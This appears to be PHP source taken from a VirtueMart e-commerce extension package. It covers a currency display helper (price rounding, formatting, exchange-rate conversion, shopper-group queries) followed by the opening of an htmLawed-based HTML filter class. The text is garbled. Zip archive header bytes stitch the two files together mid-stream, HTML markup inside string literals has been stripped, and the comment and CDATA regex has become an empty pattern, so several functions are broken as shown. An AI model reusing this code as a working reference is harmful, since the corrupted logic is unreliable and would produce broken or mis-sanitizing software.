self::$_instance->_db->loadObject(); if(!empty($style)){ self::$_instance->setCurrencyDisplayToStyleStr($style); } else { $uri = JFactory::getURI(); VmConfig::loadJLang('com_virtuemart'); if(empty(self::$_instance->_currency_id)){ $link = $uri->root().'administrator/index.php?option=com_virtuemart&view=user&task=editshop'; JError::raiseWarning('1', JText::sprintf('COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED',''.$link.'')); } else{ if(JRequest::getWord('view')!='currency'){ $link = $uri->root().'administrator/index.php?option=com_virtuemart&view=currency&task=edit&cid[]='.self::$_instance->_currency_id; JError::raiseWarning('1', JText::sprintf('COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED',''.$link.'')); } } // self::$_instance->setCurrencyDisplayToStyleStr($currencyId); //would be nice to automatically unpublish the product/currency or so } } self::$_instance->setPriceArray(); return self::$_instance; } /** * Parse the given currency display string into the currency diplsy values. * * This function takes the currency style string as saved in the vendor * record and parses it into its appropriate values. An example style * string would be 1|€|2|,|.|0|0 * * @author Max Milbers * @param String $currencyStyle String containing the currency display settings */ private function setCurrencyDisplayToStyleStr($style) { //vmdebug('setCurrencyDisplayToStyleStr ',$style); $this->_currency_id = $style->virtuemart_currency_id; $this->_symbol = $style->currency_symbol; $this->_nbDecimal = $style->currency_decimal_place; $this->_decimal = $style->currency_decimal_symbol; $this->_numeric_code = (int)$style->currency_numeric_code; $this->_thousands = $style->currency_thousands; $this->_positivePos = $style->currency_positive_style; $this->_negativePos = $style->currency_negative_style; } /** * This function sets an array, which holds the information if * a price is to be shown and the number of rounding digits * * @author Max Milbers */ function setPriceArray(){ if(count($this->_priceConfig)>0)return true; if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' ); $user = JFactory::getUser(); $result = false; if(!empty($user->id)){ $q = 'SELECT `vx`.`virtuemart_shoppergroup_id` FROM `#__virtuemart_vmusers` as `u` LEFT OUTER JOIN `#__virtuemart_vmuser_shoppergroups` AS `vx` ON `u`.`virtuemart_user_id` = `vx`.`virtuemart_user_id` LEFT OUTER JOIN `#__virtuemart_shoppergroups` AS `sg` ON `vx`.`virtuemart_shoppergroup_id` = `sg`.`virtuemart_shoppergroup_id` WHERE `u`.`virtuemart_user_id` = "'.$user->id.'" '; $this->_db->setQuery($q); $result = $this->_db->loadResult(); } if(!$result){ $q = 'SELECT `price_display`,`custom_price_display` FROM `#__virtuemart_shoppergroups` AS `sg` WHERE `sg`.`default` = "'.($user->guest+1).'" '; $this->_db->setQuery($q); $result = $this->_db->loadRow(); } else { $q = 'SELECT `price_display`,`custom_price_display` FROM `#__virtuemart_shoppergroups` AS `sg` WHERE `sg`.`virtuemart_shoppergroup_id` = "'.$result.'" '; $this->_db->setQuery($q); $result = $this->_db->loadRow(); } if(!empty($result[0])){ $result[0] = unserialize($result[0]); } $custom_price_display = 0; if(!empty($result[1])){ $custom_price_display = $result[1]; } if($custom_price_display && !empty($result[0])){ $show_prices = $result[0]->get('show_prices',VmConfig::get('show_prices', 1)); // vmdebug('$result[0]',$result[0],$show_prices); } else { $show_prices = VmConfig::get('show_prices', 1); } $priceFields = array('basePrice','variantModification','basePriceVariant', 'basePriceWithTax','discountedPriceWithoutTax', 'salesPrice','priceWithoutTax', 'salesPriceWithDiscount','discountAmount','taxAmount','unitPrice'); if($show_prices==1){ foreach($priceFields as $name){ $show = 0; $round = 0; $text = 0; //Here we check special settings of the shoppergroup // $result = unserialize($result); if($custom_price_display==1){ $show = (int)$result[0]->get($name); $round = (int)$result[0]->get($name.'Rounding'); $text = $result[0]->get($name.'Text'); // vmdebug('$custom_price_display'); } else { $show = VmConfig::get($name,0); $round = VmConfig::get($name.'Rounding',2); $text = VmConfig::get($name.'Text',0); // vmdebug('$config_price_display'); } //Map to currency if($round==-1){ $round = $this->_nbDecimal; //vmdebug('Use currency rounding '.$round); } $this->_priceConfig[$name] = array($show,$round,$text); } } else { foreach($priceFields as $name){ $this->_priceConfig[$name] = array(0,0,0); } } // vmdebug('$this->_priceConfig',$this->_priceConfig); } /** * getCurrencyForDisplay: get The actual displayed Currency * Use this only in a view, plugin or modul, never in a model * * @param integer $currencyId * return integer $currencyId: displayed Currency * */ public function getCurrencyForDisplay( $currencyId=0 ){ if(empty($currencyId)){ $currencyId = (int)$this->_app->getUserStateFromRequest( 'virtuemart_currency_id', 'virtuemart_currency_id',$this->_vendorCurrency ); if(empty($currencyId)){ $currencyId = $this->_vendorCurrency; } } return $currencyId; } /** * This function is for the gui only! * Use this only in a view, plugin or modul, never in a model * TODO for vm2.2 remove quantity option * @param float $price * @param integer $currencyId * return string formatted price */ public function priceDisplay($price, $currencyId=0,$quantity = 1.0,$inToShopCurrency = false,$nb= -1){ $price = $this->roundForDisplay($price,$currencyId, $quantity ,$inToShopCurrency, $nb); return $this->getFormattedCurrency($price,$nb); } public function roundForDisplay($price, $currencyId=0,$quantity = 1.0,$inToShopCurrency = false,$nb= -1){ $currencyId = $this->getCurrencyForDisplay($currencyId); if($nb==-1){ $nb = $this->_nbDecimal; } $price = (float)$price * (float)$quantity; $price = $this->convertCurrencyTo($currencyId,$price,$inToShopCurrency); if($this->_numeric_code===756 and VmConfig::get('rappenrundung',FALSE)=="1"){ $price = round((float)$price * 2,1) * 0.5; } else { $price = round($price,$nb); } return $price; } /** * Format, Round and Display Value * @author Max Milbers * @param val number */ public function getFormattedCurrency( $nb, $nbDecimal=-1){ //TODO $this->_nbDecimal is the config of the currency and $nbDecimal is the config of the price type. if($nbDecimal==-1) $nbDecimal = $this->_nbDecimal; if($nb>=0){ $format = $this->_positivePos; $sign = '+'; } else { $format = $this->_negativePos; $sign = '-'; $nb = abs($nb); } //$res = $this->formatNumber($nb, $nbDecimal, $this->_thousands, $this->_decimal); $res = number_format((float)$nb,(int)$nbDecimal,$this->_decimal,$this->_thousands); $search = array('{sign}', '{number}', '{symbol}'); $replace = array($sign, $res, $this->_symbol); $formattedRounded = str_replace ($search,$replace,$format); return $formattedRounded; } /** * function to create a div to show the prices, is necessary for JS * * @author Max Milbers * @author Patrick Kohl * @param string name of the price * @param String description key * @param array the prices of the product * return a div for prices which is visible according to config and have all ids and class set */ public function createPriceDiv($name,$description,$product_price,$priceOnly=false,$switchSequel=false,$quantity = 1.0,$forceNoLabel=false){ // vmdebug('createPriceDiv '.$name,$product_price[$name]); if(empty($product_price) and $name != 'billTotal' and $name != 'billTaxAmount') return ''; //The fallback, when this price is not configured if(empty($this->_priceConfig[$name])){ $this->_priceConfig[$name] = $this->_priceConfig['salesPrice']; } //This is a fallback because we removed the "salesPriceWithDiscount" ; if(is_array($product_price)){ $price = $product_price[$name] ; } else { $price = $product_price; } //This could be easily extended by product specific settings if(!empty($this->_priceConfig[$name][0])){ if(!empty($price) or $name == 'billTotal' or $name == 'billTaxAmount'){ $vis = "block"; $priceFormatted = $this->priceDisplay($price,0,(float)$quantity,false,$this->_priceConfig[$name][1],$name ); } else { $priceFormatted = ''; $vis = "none"; } if($priceOnly){ return $priceFormatted; } if($forceNoLabel) { return '
'.$priceFormatted.'
'; } $descr = ''; if($this->_priceConfig[$name][2]) $descr = JText::_($description); // vmdebug('createPriceDiv $name '.$name.' '.$product_price[$name]); if(!$switchSequel){ return '
'.$descr.''.$priceFormatted.'
'; } else { return '
'.$priceFormatted.''.$descr.'
'; } } } /** * * @author Max Milbers * @param unknown_type $currency * @param unknown_type $price * @param unknown_type $shop */ function convertCurrencyTo($currency,$price,$shop=true){ if(empty($currency)){ // vmdebug('empty $currency ',$price); return $price; } // If both currency codes match, do nothing if( (is_Object($currency) and $currency->_currency_id == $this->_vendorCurrency) or (!is_Object($currency) and $currency == $this->_vendorCurrency)) { // vmdebug(' $currency == $this->_vendorCurrency ',$price); return $price; } if(is_Object($currency)){ $exchangeRate = (float)$currency->exchangeRateShopper; vmdebug('convertCurrencyTo OBJECT '.$exchangeRate); } else { static $currency_exchange_rate = array(); if(!isset($currency_exchange_rate[$currency])){ $q = 'SELECT `currency_exchange_rate` FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id` ="'.(int)$currency.'" '; $this->_db->setQuery($q); $currency_exchange_rate[$currency] = (float)$this->_db->loadResult(); } if(!empty($currency_exchange_rate[$currency])){ $exchangeRate = $currency_exchange_rate[$currency]; } else { $exchangeRate = 0; } } if(!empty($exchangeRate) ){ if($shop){ $price = $price / $exchangeRate; } else { $price = $price * $exchangeRate; } } else { $currencyCode = self::ensureUsingCurrencyCode($currency); $vendorCurrencyCode = self::ensureUsingCurrencyCode($this->_vendorCurrency); $globalCurrencyConverter=JRequest::getVar('globalCurrencyConverter'); if($shop){ $price = $this ->_currencyConverter->convert( $price, $currencyCode, $vendorCurrencyCode); //vmdebug('convertCurrencyTo Use dynamic rate in shop '.$oldprice .' => '.$price); } else { //vmdebug('convertCurrencyTo Use dynamic rate to shopper currency '.$price); $price = $this ->_currencyConverter->convert( $price , $vendorCurrencyCode, $currencyCode); } // vmdebug('convertCurrencyTo my currency ',$this->exchangeRateShopper); } return $price; } /** * Changes the virtuemart_currency_id into the right currency_code * For exampel 47 => EUR * * @author Max Milbers * @author Frederic Bidon */ function ensureUsingCurrencyCode($curr){ if(is_numeric($curr) and $curr!=0){ if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); return ShopFunctions::getCurrencyByID($curr,'currency_code_3'); } return $curr; } /** * Changes the currency_code into the right virtuemart_currency_id * For exampel 'currency_code_3' : EUR => 47 * * @author Max Milbers * @author Kohl Patrick */ function getCurrencyIdByField($value=0,$fieldName ='currency_code_3'){ if(is_string($value) ){ if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); return ShopFunctions::getCurrencyIDByName($value,$fieldName); } return $value; } /** * * @author Horvath, Sandor [HU] http://de.php.net/manual/de/function.number-format.php * @author Max Milbers * @param double $number * @param int $decimals * @param string $thousand_separator * @param string $decimal_point */ function formatNumber($number, $decimals = 2, $decimal_point = '.', $thousand_separator = ' ' ){ // $tmp1 = round((float) $number, $decimals); return number_format($number,$decimals,$decimal_point,$thousand_separator); // while (($tmp2 = preg_replace('/(\d+)(\d\d\d)/', '\1 \2', $tmp1)) != $tmp1){ // $tmp1 = $tmp2; // } // // return strtr($tmp1, array(' ' => $thousand_separator, '.' => $decimal_point)); } /** * Return the currency symbol */ public function getSymbol() { return($this->_symbol); } /** * Return the currency ID */ public function getId() { return($this->_currency_id); } /** * Return the number of decimal places * * @author RickG * @return int Number of decimal places */ public function getNbrDecimals() { return($this->_nbDecimal); } /** * Return the decimal symbol * * @author RickG * @return string Decimal place symbol */ public function getDecimalSymbol() { return($this->_decimal); } /** * Return the decimal symbol * * @author RickG * @return string Decimal place symbol */ public function getThousandsSeperator() { return($this->_thousands); } /** * Return the positive format * * @author RickG * @return string Positive number format */ public function getPositiveFormat() { return($this->_positivePos); } /** * Return the negative format * * @author RickG * @return string Negative number format */ public function getNegativeFormat() { return($this->_negativePos); } } // pure php no closing tag PKB\{DDhelpers/vmfilter.phpnuW+A1, 'elements'=>'a, b, strong, i, em, li, ol, ul')); See htmLawed_README.txt/htm only good for HTML filtering needed in MultiVendor editing Product/category ... */ class vmFilter{ private static $C=null; private static $E=null; private static $S=null; private static $hl_Ids=null; // begin class public static function hl($t, $C=null, $S=array()){ if ( is_string($C) ) $C = vmFilter::loadconfig($C); $C = is_array($C) ? $C : array(); if(!empty($C['valid_xhtml'])){ $C['elements'] = empty($C['elements']) ? '*-center-dir-font-isindex-menu-s-strike-u' : $C['elements']; $C['make_tag_strict'] = isset($C['make_tag_strict']) ? $C['make_tag_strict'] : 2; $C['xml:lang'] = isset($C['xml:lang']) ? $C['xml:lang'] : 2; } // config eles $e = array('a'=>1, 'abbr'=>1, 'acronym'=>1, 'address'=>1, 'applet'=>1, 'area'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'blockquote'=>1, 'br'=>1, 'button'=>1, 'caption'=>1, 'center'=>1, 'cite'=>1, 'code'=>1, 'col'=>1, 'colgroup'=>1, 'dd'=>1, 'del'=>1, 'dfn'=>1, 'dir'=>1, 'div'=>1, 'dl'=>1, 'dt'=>1, 'em'=>1, 'embed'=>1, 'fieldset'=>1, 'font'=>1, 'form'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'i'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'ins'=>1, 'isindex'=>1, 'kbd'=>1, 'label'=>1, 'legend'=>1, 'li'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'object'=>1, 'ol'=>1, 'optgroup'=>1, 'option'=>1, 'p'=>1, 'param'=>1, 'pre'=>1, 'q'=>1, 'rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1, 'ruby'=>1, 's'=>1, 'samp'=>1, 'script'=>1, 'select'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'table'=>1, 'tbody'=>1, 'td'=>1, 'textarea'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1, 'tt'=>1, 'u'=>1, 'ul'=>1, 'var'=>1); // 86/deprecated+embed+ruby if(!empty($C['safe'])){ unset($e['applet'], $e['embed'], $e['iframe'], $e['object'], $e['script']); } $x = !empty($C['elements']) ? str_replace(array("\n", "\r", "\t", ' '), '', $C['elements']) : '*'; if($x == '-*'){ $e = array(); } elseif(strpos($x, '*') === false){ $e = array_flip(explode(',', $x)); } else{ if(isset($x[1])){ preg_match_all('`(?:^|-|\+)[^\-+]+?(?=-|\+|$)`', $x, $m, PREG_SET_ORDER); for($i=count($m); --$i>=0;){ $m[$i] = $m[$i][0]; } foreach($m as $v){ if($v[0] == '+'){ $e[substr($v, 1)] = 1; } if($v[0] == '-' && isset($e[($v = substr($v, 1))]) && !in_array('+'. $v, $m)){ unset($e[$v]); } } } } $C['elements'] =& $e; // config attrs $x = !empty($C['deny_attribute']) ? str_replace(array("\n", "\r", "\t", ' '), '', $C['deny_attribute']) : ''; $x = array_flip((isset($x[0]) && $x[0] == '*') ? explode('-', $x) : explode(',', $x. (!empty($C['safe']) ? ',on*' : ''))); if(isset($x['on*'])){ unset($x['on*']); $x += array('onblur'=>1, 'onchange'=>1, 'onclick'=>1, 'ondblclick'=>1, 'onfocus'=>1, 'onkeydown'=>1, 'onkeypress'=>1, 'onkeyup'=>1, 'onmousedown'=>1, 'onmousemove'=>1, 'onmouseout'=>1, 'onmouseover'=>1, 'onmouseup'=>1, 'onreset'=>1, 'onselect'=>1, 'onsubmit'=>1); } $C['deny_attribute'] = $x; // config URL $x = (isset($C['schemes'][2]) && strpos($C['schemes'], ':')) ? strtolower($C['schemes']) : 'href: aim, feed, file, ftp, gopher, http, https, irc, mailto, news, nntp, sftp, ssh, telnet; *:file, http, https'; $C['schemes'] = array(); foreach(explode(';', str_replace(array(' ', "\t", "\r", "\n"), '', $x)) as $v){ $x = $x2 = null; list($x, $x2) = explode(':', $v, 2); if($x2){ $C['schemes'][$x] = array_flip(explode(',', $x2)); } } if(!isset($C['schemes']['*'])){ $C['schemes']['*'] = array('file'=>1, 'http'=>1, 'https'=>1,); } if(!empty($C['safe']) && empty($C['schemes']['style'])){ $C['schemes']['style'] = array('!'=>1); } $C['abs_url'] = isset($C['abs_url']) ? $C['abs_url'] : 0; if(!isset($C['base_url']) or !preg_match('`^[a-zA-Z\d.+\-]+://[^/]+/(.+?/)?$`', $C['base_url'])){ $C['base_url'] = $C['abs_url'] = 0; } // config rest $C['and_mark'] = empty($C['and_mark']) ? 0 : 1; $C['anti_link_spam'] = (isset($C['anti_link_spam']) && is_array($C['anti_link_spam']) && count($C['anti_link_spam']) == 2 && (empty($C['anti_link_spam'][0]) or vmFilter::hl_regex($C['anti_link_spam'][0])) && (empty($C['anti_link_spam'][1]) or vmFilter::hl_regex($C['anti_link_spam'][1]))) ? $C['anti_link_spam'] : 0; $C['anti_mail_spam'] = isset($C['anti_mail_spam']) ? $C['anti_mail_spam'] : 0; $C['balance'] = isset($C['balance']) ? (bool)$C['balance'] : 1; $C['cdata'] = isset($C['cdata']) ? $C['cdata'] : (empty($C['safe']) ? 3 : 0); $C['clean_ms_char'] = empty($C['clean_ms_char']) ? 0 : $C['clean_ms_char']; $C['comment'] = isset($C['comment']) ? $C['comment'] : (empty($C['safe']) ? 3 : 0); $C['css_expression'] = empty($C['css_expression']) ? 0 : 1; $C['direct_list_nest'] = empty($C['direct_list_nest']) ? 0 : 1; $C['hexdec_entity'] = isset($C['hexdec_entity']) ? $C['hexdec_entity'] : 1; $C['hook'] = (!empty($C['hook']) && function_exists($C['hook'])) ? $C['hook'] : 0; $C['hook_tag'] = (!empty($C['hook_tag']) && function_exists($C['hook_tag'])) ? $C['hook_tag'] : 0; $C['keep_bad'] = isset($C['keep_bad']) ? $C['keep_bad'] : 6; $C['lc_std_val'] = isset($C['lc_std_val']) ? (bool)$C['lc_std_val'] : 1; $C['make_tag_strict'] = isset($C['make_tag_strict']) ? $C['make_tag_strict'] : 1; $C['named_entity'] = isset($C['named_entity']) ? (bool)$C['named_entity'] : 1; $C['no_deprecated_attr'] = isset($C['no_deprecated_attr']) ? $C['no_deprecated_attr'] : 1; $C['parent'] = isset($C['parent'][0]) ? strtolower($C['parent']) : 'body'; $C['show_setting'] = !empty($C['show_setting']) ? $C['show_setting'] : 0; $C['style_pass'] = empty($C['style_pass']) ? 0 : 1; $C['tidy'] = empty($C['tidy']) ? 0 : $C['tidy']; $C['unique_ids'] = isset($C['unique_ids']) ? $C['unique_ids'] : 1; $C['xml:lang'] = isset($C['xml:lang']) ? $C['xml:lang'] : 0; if(!is_null(vmFilter::$C)){ $reC = vmFilter::$C; } vmFilter::$C = $C; $S = is_array($S) ? $S : vmFilter::$hl_spec($S); if(!is_null(vmFilter::$S)){ $reS = vmFilter::$S; } vmFilter::$S = $S; $t = preg_replace('`[\x00-\x08\x0b-\x0c\x0e-\x1f]`', '', $t); if($C['clean_ms_char']){ $x = array("\x7f"=>'', "\x80"=>'€', "\x81"=>'', "\x83"=>'ƒ', "\x85"=>'…', "\x86"=>'†', "\x87"=>'‡', "\x88"=>'ˆ', "\x89"=>'‰', "\x8a"=>'Š', "\x8b"=>'‹', "\x8c"=>'Œ', "\x8d"=>'', "\x8e"=>'Ž', "\x8f"=>'', "\x90"=>'', "\x95"=>'•', "\x96"=>'–', "\x97"=>'—', "\x98"=>'˜', "\x99"=>'™', "\x9a"=>'š', "\x9b"=>'›', "\x9c"=>'œ', "\x9d"=>'', "\x9e"=>'ž', "\x9f"=>'Ÿ'); $x = $x + ($C['clean_ms_char'] == 1 ? array("\x82"=>'‚', "\x84"=>'„', "\x91"=>'‘', "\x92"=>'’', "\x93"=>'“', "\x94"=>'”') : array("\x82"=>'\'', "\x84"=>'"', "\x91"=>'\'', "\x92"=>'\'', "\x93"=>'"', "\x94"=>'"')); $t = strtr($t, $x); } if($C['cdata'] or $C['comment']){ $t = preg_replace_callback('``sm', 'vmFilter::hl_cmtcd', $t); } $t = preg_replace_callback('`&([A-Za-z][A-Za-z0-9]{1,30}|#(?:[0-9]{1,8}|[Xx][0-9A-Fa-f]{1,7}));`', 'vmFilter::hl_ent', str_replace('&', '&', $t)); if($C['unique_ids'] && is_null(vmFilter::$hl_Ids)){ vmFilter::$hl_Ids = array(); } if($C['hook']){ $t = $C['hook']($t, $C, $S); } if($C['show_setting'] && preg_match('`^[a-z][a-z0-9_]*$`i', $C['show_setting'])){ vmFilter::$C['show_setting'] = array('config'=>$C, 'spec'=>$S, 'time'=>microtime()); } // main $t = preg_replace_callback('`<(?:(?:\s|$)|(?:[^>]*(?:>|$)))|>`m', 'vmFilter::hl_tag', $t); $t = $C['balance'] ? vmFilter::hl_bal($t, $C['keep_bad'], $C['parent']) : $t; $t = (($C['cdata'] or $C['comment']) && strpos($t, "\x01") !== false) ? str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05"), array('', '', '&', '<', '>'), $t) : $t; $t = $C['tidy'] ? vmFilter::hl_tidy($t, $C['tidy'], $C['parent']) : $t; unset($C, $e); if(isset($reC)){ vmFilter::$C = $reC; } if(isset($reS)){ vmFilter::$S = $reS; } return $t; // eof } public static function hl_attrval($t, $p){ // check attr val against $S $o = 1; $l = strlen($t); foreach($p as $k=>$v){ switch($k){ case 'maxlen':if($l > $v){ $o = 0; } break; case 'minlen': if($l < $v){ $o = 0; } break; case 'maxval': if((float)($t) > $v){ $o = 0; } break; case 'minval': if((float)($t) < $v){ $o = 0; } break; case 'match': if(!preg_match($v, $t)){ $o = 0; } break; case 'nomatch': if(preg_match($v, $t)){ $o = 0; } break; case 'oneof': $m = 0; foreach(explode('|', $v) as $n){ if($t == $n){ $m = 1; break; } } $o = $m; break; case 'noneof': $m = 1; foreach(explode('|', $v) as $n){ if($t == $n){ $m = 0; break; } } $o = $m; break; default: break; } if(!$o){ break; } } return ($o ? $t : (isset($p['default']) ? $p['default'] : 0)); // eof } public static function hl_bal($t, $do=1, $in='div'){ // balance tags // by content $cB = array('blockquote'=>1, 'form'=>1, 'map'=>1, 'noscript'=>1); // Block $cE = array('area'=>1, 'br'=>1, 'col'=>1, 'embed'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'isindex'=>1, 'param'=>1); // Empty $cF = array('button'=>1, 'del'=>1, 'div'=>1, 'dd'=>1, 'fieldset'=>1, 'iframe'=>1, 'ins'=>1, 'li'=>1, 'noscript'=>1, 'object'=>1, 'td'=>1, 'th'=>1); // Flow; later context-wise dynamic move of ins & del to $cI $cI = array('a'=>1, 'abbr'=>1, 'acronym'=>1, 'address'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'caption'=>1, 'cite'=>1, 'code'=>1, 'dfn'=>1, 'dt'=>1, 'em'=>1, 'font'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'i'=>1, 'kbd'=>1, 'label'=>1, 'legend'=>1, 'p'=>1, 'pre'=>1, 'q'=>1, 'rb'=>1, 'rt'=>1, 's'=>1, 'samp'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'tt'=>1, 'u'=>1, 'var'=>1); // Inline $cN = array('a'=>array('a'=>1), 'button'=>array('a'=>1, 'button'=>1, 'fieldset'=>1, 'form'=>1, 'iframe'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'fieldset'=>array('fieldset'=>1), 'form'=>array('form'=>1), 'label'=>array('label'=>1), 'noscript'=>array('script'=>1), 'pre'=>array('big'=>1, 'font'=>1, 'img'=>1, 'object'=>1, 'script'=>1, 'small'=>1, 'sub'=>1, 'sup'=>1), 'rb'=>array('ruby'=>1), 'rt'=>array('ruby'=>1)); // Illegal $cN2 = array_keys($cN); $cR = array('blockquote'=>1, 'dir'=>1, 'dl'=>1, 'form'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'optgroup'=>1, 'rbc'=>1, 'rtc'=>1, 'ruby'=>1, 'select'=>1, 'table'=>1, 'tbody'=>1, 'tfoot'=>1, 'thead'=>1, 'tr'=>1, 'ul'=>1); $cS = array('colgroup'=>array('col'=>1), 'dir'=>array('li'=>1), 'dl'=>array('dd'=>1, 'dt'=>1), 'menu'=>array('li'=>1), 'ol'=>array('li'=>1), 'optgroup'=>array('option'=>1), 'option'=>array('#pcdata'=>1), 'rbc'=>array('rb'=>1), 'rp'=>array('#pcdata'=>1), 'rtc'=>array('rt'=>1), 'ruby'=>array('rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1), 'select'=>array('optgroup'=>1, 'option'=>1), 'script'=>array('#pcdata'=>1), 'table'=>array('caption'=>1, 'col'=>1, 'colgroup'=>1, 'tfoot'=>1, 'tbody'=>1, 'tr'=>1, 'thead'=>1), 'tbody'=>array('tr'=>1), 'tfoot'=>array('tr'=>1), 'textarea'=>array('#pcdata'=>1), 'thead'=>array('tr'=>1), 'tr'=>array('td'=>1, 'th'=>1), 'ul'=>array('li'=>1)); // Specific - immediate parent-child if(vmFilter::$C['direct_list_nest']){ $cS['ol'] = $cS['ul'] += array('ol'=>1, 'ul'=>1); } $cO = array('address'=>array('p'=>1), 'applet'=>array('param'=>1), 'blockquote'=>array('script'=>1), 'fieldset'=>array('legend'=>1, '#pcdata'=>1), 'form'=>array('script'=>1), 'map'=>array('area'=>1), 'object'=>array('param'=>1, 'embed'=>1)); // Other $cT = array('colgroup'=>1, 'dd'=>1, 'dt'=>1, 'li'=>1, 'option'=>1, 'p'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1); // Omitable closing // block/inline type; ins & del both type; #pcdata: text $eB = array('address'=>1, 'blockquote'=>1, 'center'=>1, 'del'=>1, 'dir'=>1, 'dl'=>1, 'div'=>1, 'fieldset'=>1, 'form'=>1, 'ins'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'isindex'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'p'=>1, 'pre'=>1, 'table'=>1, 'ul'=>1); $eI = array('#pcdata'=>1, 'a'=>1, 'abbr'=>1, 'acronym'=>1, 'applet'=>1, 'b'=>1, 'bdo'=>1, 'big'=>1, 'br'=>1, 'button'=>1, 'cite'=>1, 'code'=>1, 'del'=>1, 'dfn'=>1, 'em'=>1, 'embed'=>1, 'font'=>1, 'i'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'ins'=>1, 'kbd'=>1, 'label'=>1, 'map'=>1, 'object'=>1, 'q'=>1, 'ruby'=>1, 's'=>1, 'samp'=>1, 'select'=>1, 'script'=>1, 'small'=>1, 'span'=>1, 'strike'=>1, 'strong'=>1, 'sub'=>1, 'sup'=>1, 'textarea'=>1, 'tt'=>1, 'u'=>1, 'var'=>1); $eN = array('a'=>1, 'big'=>1, 'button'=>1, 'fieldset'=>1, 'font'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'label'=>1, 'object'=>1, 'ruby'=>1, 'script'=>1, 'select'=>1, 'small'=>1, 'sub'=>1, 'sup'=>1, 'textarea'=>1); // Exclude from specific ele; $cN values $eO = array('area'=>1, 'caption'=>1, 'col'=>1, 'colgroup'=>1, 'dd'=>1, 'dt'=>1, 'legend'=>1, 'li'=>1, 'optgroup'=>1, 'option'=>1, 'param'=>1, 'rb'=>1, 'rbc'=>1, 'rp'=>1, 'rt'=>1, 'rtc'=>1, 'script'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'thead'=>1, 'th'=>1, 'tr'=>1); // Missing in $eB & $eI $eF = $eB + $eI; // $in sets allowed child $in = ((isset($eF[$in]) && $in != '#pcdata') or isset($eO[$in])) ? $in : 'div'; if(isset($cE[$in])){ return (!$do ? '' : str_replace(array('<', '>'), array('<', '>'), $t)); } if(isset($cS[$in])){ $inOk = $cS[$in]; } elseif(isset($cI[$in])){ $inOk = $eI; $cI['del'] = 1; $cI['ins'] = 1; } elseif(isset($cF[$in])){ $inOk = $eF; unset($cI['del'], $cI['ins']); } elseif(isset($cB[$in])){ $inOk = $eB; unset($cI['del'], $cI['ins']); } if(isset($cO[$in])){ $inOk = $inOk + $cO[$in]; } if(isset($cN[$in])){ $inOk = array_diff_assoc($inOk, $cN[$in]); } $t = explode('<', $t); $ok = $q = array(); // $q seq list of open non-empty ele ob_start(); for($i=-1, $ci=count($t); ++$i<$ci;){ // allowed $ok in parent $p if($ql = count($q)){ $p = array_pop($q); $q[] = $p; if(isset($cS[$p])){ $ok = $cS[$p]; } elseif(isset($cI[$p])){ $ok = $eI; $cI['del'] = 1; $cI['ins'] = 1; } elseif(isset($cF[$p])){ $ok = $eF; unset($cI['del'], $cI['ins']); } elseif(isset($cB[$p])){ $ok = $eB; unset($cI['del'], $cI['ins']); } if(isset($cO[$p])){ $ok = $ok + $cO[$p]; } if(isset($cN[$p])){ $ok = array_diff_assoc($ok, $cN[$p]); } }else{$ok = $inOk; unset($cI['del'], $cI['ins']); } // bad tags, & ele content if(isset($e) && ($do == 1 or (isset($ok['#pcdata']) && ($do == 3 or $do == 5)))){ echo '<', $s, $e, $a, '>'; } if(isset($x[0])){ if($do < 3 or isset($ok['#pcdata'])){ echo $x; } elseif(strpos($x, "\x02\x04")){ foreach(preg_split('`(\x01\x02[^\x01\x02]+\x02\x01)`', $x, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY) as $v){ echo (substr($v, 0, 2) == "\x01\x02" ? $v : ($do > 4 ? preg_replace('`\S`', '', $v) : '')); } }elseif($do > 4){ echo preg_replace('`\S`', '', $x); } } // get markup if(!preg_match('`^(/?)([a-zA-Z1-6]+)([^>]*)>(.*)`sm', $t[$i], $r)){ $x = $t[$i]; continue; } $s = null; $e = null; $a = null; $x = null; list($all, $s, $e, $a, $x) = $r; // close tag if($s){ if(isset($cE[$e]) or !in_array($e, $q)){ continue; } // Empty/unopen if($p == $e){ array_pop($q); echo ''; unset($e); continue; } // Last open $add = ''; // Nesting - close open tags that need to be for($j=-1, $cj=count($q); ++$j<$cj;){ if(($d = array_pop($q)) == $e){ break; } else{$add .= ""; } } echo $add, ''; unset($e); continue; } // open tag // $cB ele needs $eB ele as child if(isset($cB[$e]) && strlen(trim($x))){ $t[$i] = "{$e}{$a}>"; array_splice($t, $i+1, 0, 'div>'. $x); unset($e, $x); 